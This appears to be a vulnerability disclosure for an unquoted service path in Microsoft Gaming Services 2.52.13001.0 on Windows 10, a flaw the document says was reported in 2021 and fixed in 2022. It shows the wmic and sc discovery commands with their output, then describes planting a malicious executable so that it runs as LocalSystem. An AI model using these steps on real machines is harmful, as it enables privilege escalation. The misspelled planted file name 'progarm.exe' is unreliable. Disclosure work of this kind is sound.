# Exploit Title: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path
# Discovery by: Johto Robbie
# Discovery Date: May 12, 2021
# Tested Version: 2.52.13001.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 Home
# Step to discover Unquoted Service Path:
Go to Start and type cmd. Enter the following command and press Enter:
C:\Users\Bang's>wmic service get name, displayname, pathname, startmode |
findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """
Gaming Services
GamingServices C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
Auto
Gaming Services
GamingServicesNet C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
Auto
C:\Users\Bang's>sc qc "GamingServices"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: GamingServices
TYPE : 210 WIN32_PACKAGED_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Gaming Services
DEPENDENCIES : staterepository
SERVICE_START_NAME : LocalSystem
This application have no quote . And it contained in C:\Program Files. Put
mot malicious aplication with name "progarm.exe"
Stop & Start: GamingServices. "progarm.exe" will be execute
#Exploit:
An unquoted service path in
Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe, could lead to
privilege escalation during the installation process that is performed when
an executable file is registered. This could further lead to complete
compromise of confidentiality, Integrity and Availability.
#Timeline
May 12, 2021 - Reported to Microsoft
Feb 11, 2022 - Confirmed vulnerability has been fixed
